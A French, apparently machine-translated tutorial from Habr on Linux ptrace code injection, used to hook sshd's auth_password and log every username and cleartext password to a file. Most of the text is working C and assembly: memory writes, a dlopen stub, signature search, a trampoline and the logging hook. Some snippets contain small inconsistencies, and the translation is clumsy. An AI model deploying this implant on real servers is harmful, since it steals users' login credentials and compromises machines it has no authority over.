Une introduction à ptrace ou à l'injection de code dans sshd pour le plaisir



L'objectif que j'ai fixé était très simple: apprendre le mot de passe entré dans sshd à l'aide de ptrace. Bien sûr, c'est une tâche quelque peu artificielle, car il existe de nombreuses autres façons plus efficaces d'atteindre ce que vous voulez (et avec une probabilité beaucoup plus faible de contracter le SEGV ), cependant, il m'a semblé cool de faire exactement cela.

Qu'est-ce que ptrace?


Ceux qui connaissent les injections sous Windows connaissent probablement les fonctions VirtualAllocEx() , WriteProcessMemory() , ReadProcessMemory() et CreateRemoteThread() . Ces appels vous permettent d'allouer de la mémoire et de démarrer des threads dans un autre processus. Dans le monde Linux, le noyau nous fournit ptrace , grâce auquel les débogueurs peuvent interagir avec le processus en cours.

Ptrace propose plusieurs opérations de débogage utiles, par exemple:

  • PTRACE_ATTACH - vous permet de rejoindre un seul processus en interrompant un processus débogué
  • PTRACE_PEEKTEXT - vous permet de lire les données de l'espace d'adressage d'un autre processus
  • PTRACE_POKETEXT - vous permet d'écrire des données dans l'espace d'adressage d'un autre processus
  • PTRACE_GETREGS - Lit l'état actuel des registres de processus
  • PTRACE_SETREGS - enregistre l'état des registres de processus
  • PTRACE_CONT - continue l'exécution du processus débogué

Bien que ce ne soit pas une liste complète des fonctionnalités de ptrace, j'ai rencontré des difficultés en raison du manque de fonctions que je connais de Win32. Par exemple, sous Windows, vous pouvez allouer de la mémoire dans un autre processus à l'aide de la fonction VirtualAllocEx() , qui renvoie un pointeur sur la mémoire nouvellement allouée. Comme cela n'existe pas dans ptrace, vous devez improviser si vous souhaitez intégrer votre code dans un autre processus.

Eh bien, réfléchissons à la façon de prendre le contrôle d'un processus à l'aide de ptrace.

Les bases de Ptrace


La première chose que nous devons faire est de rejoindre le processus qui nous intéresse. Pour ce faire, il suffit d'appeler ptrace avec le paramètre PTRACE_ATTACH:

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

Cet appel est simple comme un embouteillage, il accepte le PID du processus que nous voulons rejoindre. Lorsqu'un appel se produit, un signal SIGSTOP est envoyé, ce qui force le processus d'intérêt à s'arrêter.

Après avoir rejoint, il y a une raison de sauvegarder l'état de tous les registres avant de commencer à changer quelque chose. Cela nous permettra de restaurer le programme plus tard:

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

Ensuite, vous devez trouver un endroit où nous pouvons écrire notre code. Le moyen le plus simple consiste à extraire des informations du fichier de cartes, qui peut être trouvé dans procfs pour chaque processus. Par exemple, "/ proc / PID / maps" sur un processus sshd en cours d'exécution sur Ubuntu ressemble à ceci:



Nous devons trouver la zone de mémoire allouée avec le droit d'exécution (très probablement «r-xp»). Dès que nous trouvons la zone qui nous convient, par analogie avec les registres, nous sauvegardons le contenu, afin que plus tard nous puissions restaurer correctement le travail:

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

En utilisant ptrace, vous pouvez lire un mot de données machine (32 bits à x86 ou 64 bits à x86_64) à l'adresse spécifiée, c'est-à-dire que pour lire plus de données, vous devez effectuer plusieurs appels, en augmentant l'adresse.

Remarque: sous Linux, il existe également process_vm_readv () et process_vm_writev () pour travailler avec l'espace d'adressage d'un autre processus. Cependant, dans cet article, je m'en tiendrai à l'utilisation de ptrace. Si vous voulez faire quelque chose de différent, il est préférable de lire ces fonctions.

Maintenant que nous avons sauvegardé la zone de mémoire que nous aimons, nous pouvons commencer à remplacer:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

Comme PTRACE_PEEKTEXT, cet appel ne peut enregistrer qu'un seul mot machine à la fois à l'adresse spécifiée. De plus, l'écriture de plusieurs mots machine nécessitera de nombreux appels.

Après avoir chargé votre code, vous devez lui transférer le contrôle. Afin de ne pas écraser les données en mémoire (par exemple, la pile), nous utiliserons les registres enregistrés précédemment:

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

Enfin, nous pouvons continuer l'exécution avec PTRACE_CONT:

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

Mais comment savoir que notre code a fini de s'exécuter? Nous utiliserons une interruption logicielle, également appelée instruction "int 0x03", qui génère SIGTRAP. Nous attendrons cela avec waitpid ():

 waitpid(pid, &status, WUNTRACED); 

waitpid () - un appel de blocage qui attendra l'arrêt du processus avec l'identifiant PID et inscrira la raison de l'arrêt dans la variable d'état. Ici, en passant, il y a un tas de macros qui simplifieront la vie pour trouver la raison de l'arrêt.

Pour savoir s'il y a eu un arrêt en raison de SIGTRAP (en raison de l'appel à int 0x03), nous pouvons le faire:

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

À ce stade, notre code intégré a déjà été exécuté et tout ce que nous devons faire est de restaurer le processus à son état d'origine. Restaurer tous les registres:

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

Ensuite, nous retournerons les données originales en mémoire:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

Et déconnectez-vous du processus:

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

C'est assez de théorie. Passons à la partie la plus intéressante.

Injection Sshd


Je dois avertir qu'il y a une chance de laisser tomber sshd, alors soyez prudent et veuillez ne pas essayer de vérifier cela sur un système qui fonctionne et surtout sur un système distant via SSH: D

De plus, il existe plusieurs meilleures façons d'obtenir le même résultat, je démontre celui-ci exclusivement comme un moyen amusant de montrer la puissance de ptrace (d'accord que c'est mieux que l'injection dans Hello World;)

La seule chose que je voulais faire était d'obtenir la combinaison login-mot de passe en exécutant sshd lorsque l'utilisateur est authentifié. Lors de la visualisation du code source, nous pouvons voir quelque chose comme ceci:

auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

Cela ressemble à un endroit idéal pour essayer de supprimer le nom d'utilisateur / mot de passe transmis par l'utilisateur en texte clair.

Nous voulons trouver une signature de fonction qui nous permettra de retrouver sa [fonction] en mémoire. J'utilise mon utilitaire de démontage préféré, radare2:



Il est nécessaire de trouver une séquence d'octets qui est unique et se produit uniquement dans la fonction auth_password. Pour ce faire, nous utiliserons la recherche dans radare2:



Il se trouve que la séquence xor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400 correspond à nos besoins et ne se trouve qu'une seule fois dans l'ensemble du fichier ELF.

A noter ... Si vous n'avez pas cette séquence, assurez-vous que vous avez la dernière version, ce qui corrige également la vulnérabilité de la mi-2016. (Dans la version 7.6, cette séquence est également unique - environ Per.)

L'étape suivante est l'injection de code.

Télécharger .so vers sshd


Pour charger notre code dans sshd, nous allons faire un petit stub qui nous permettra d'appeler dlopen () et charger une bibliothèque dynamique qui implémentera déjà la substitution de «auth_password».

dlopen () est un appel à la liaison dynamique, qui prend le chemin d'accès à la bibliothèque dynamique en arguments et le charge dans l'espace d'adressage du processus appelant. Cette fonction se trouve dans libdl.so, qui lie dynamiquement à l'application.

Heureusement, dans notre cas, libdl.so est déjà chargé dans sshd, nous n'avons donc qu'à exécuter dlopen (). Cependant, en raison de ASLR, il est très peu probable que dlopen () soit au même endroit à chaque fois, vous devez donc trouver son adresse dans la mémoire sshd.

Afin de trouver l'adresse de la fonction, vous devez calculer le décalage - la différence entre l'adresse de la fonction dlopen () et l'adresse de départ de libdl.so:

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

Maintenant que nous avons calculé le décalage, nous devons trouver l'adresse de départ de libdl.so dans le fichier maps:



Connaissant l'adresse de base de libdl.so dans sshd (0x7f0490a0d000, comme suit à partir de la capture d'écran ci-dessus), nous pouvons ajouter un décalage et obtenir l'adresse dlopen () à appeler à partir du code d'injection.

Nous passerons toutes les adresses nécessaires à travers les registres en utilisant PTRACE_SETREGS.

Il est également nécessaire d'écrire le chemin vers la bibliothèque implantée dans l'espace d'adressage sshd, par exemple:

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

En faisant autant que possible lors de la préparation de l'injection et en chargeant les pointeurs vers les arguments directement dans les registres, nous pouvons faciliter le code d'injection. Par exemple:

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

Autrement dit, l'injection de code est assez simple:

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

Il est temps de créer notre bibliothèque dynamique, qui sera chargée avec du code d'injection.

Avant de continuer, considérons une chose importante qui sera utilisée ... Le constructeur de bibliothèque dynamique.

Constructeur dans les bibliothèques dynamiques


Les bibliothèques dynamiques peuvent exécuter du code lors du chargement. Pour ce faire, marquez les fonctions avec le décodeur "__attribute __ ((constructeur))". Par exemple:

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

Vous pouvez copier à l'aide d'une simple commande:

 gcc -o test.so --shared -fPIC test.c 

Et puis vérifiez les performances:

 dlopen("./test.so", RTLD_LAZY); 

Lorsque la bibliothèque se charge, le constructeur sera également appelé:



Nous utilisons également cette fonctionnalité pour nous faciliter la vie lors de l'injection de code dans l'espace d'adressage d'un autre processus.

Bibliothèque dynamique Sshd


Maintenant que nous avons la possibilité de charger notre bibliothèque dynamique, nous devons créer du code qui changera le comportement de auth_password () lors de l'exécution.

Lorsque notre bibliothèque dynamique est chargée, nous pouvons trouver l'adresse de début de sshd en utilisant le fichier "/ proc / self / maps" dans procfs. Nous recherchons une zone avec des autorisations «rx» dans laquelle nous rechercherons une séquence unique dans auth_password ():

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

Puisque nous avons une plage d'adresses à rechercher, nous recherchons une fonction:

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

Lorsque nous trouvons une correspondance, vous devez utiliser mprotect () pour modifier les autorisations sur la zone mémoire. Tout cela parce que la zone mémoire est lisible et exécutable, et des autorisations d'écriture sont requises pour les modifications en cours de route:

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

Eh bien, nous avons le droit d'écrire dans la zone de mémoire souhaitée et il est maintenant temps d'ajouter un petit tremplin au début de la fonction auth_password, qui passera le contrôle au hook:

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

C'est équivalent à ce code:

 mov rax, 0x4142434445464748 jmp rax 

Bien sûr, l'adresse 0x4142434445464748 ne nous convient pas et elle sera remplacée par l'adresse de notre crochet:

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

Maintenant, nous pouvons simplement insérer notre tremplin dans sshd. Pour rendre l'injection belle et propre, insérez le tremplin au tout début de la fonction:

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

Nous devons maintenant implémenter un hook qui traitera de la journalisation des données qui passent. Nous devons être sûrs d'avoir sauvegardé tous les registres avant le début du hook et restauré avant de revenir au code d'origine:

Code source du crochet
 // Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ... 


Eh bien, c'est tout ... d'une certaine manière ...

Malheureusement, après tout ce qui a été fait, ce n'est pas tout. Même si l'injection de code sshd a échoué, vous remarquerez peut-être que les mots de passe utilisateur que vous recherchez ne sont toujours pas disponibles. Cela est dû au fait que sshd pour chaque connexion crée un nouvel enfant. C'est le nouvel enfant qui traite la connexion et c'est en lui qu'il faut mettre le crochet.

Pour être sûr que nous travaillons avec des enfants sshd, j'ai décidé de scanner procfs pour les fichiers de statistiques qui spécifient le PID parent sshd. Dès qu'un tel processus est trouvé, l'injecteur démarre pour lui.

Il y a même des avantages à cela. Si tout va mal et que l'injection de code tombe de SIGSEGV, seul le processus d'un utilisateur sera tué, et non le processus sshd parent. Ce n'est pas la plus grande consolation, mais cela facilite clairement le débogage.

L'injection en action


Ok, voyons la démo:



Le code complet peut être trouvé ici .

J'espère que ce voyage vous a donné suffisamment d'informations pour vous lancer.

Je tiens à remercier les personnes et sites suivants qui ont aidé à gérer ptrace:

Source: https://habr.com/ru/post/fr430302/


All Articles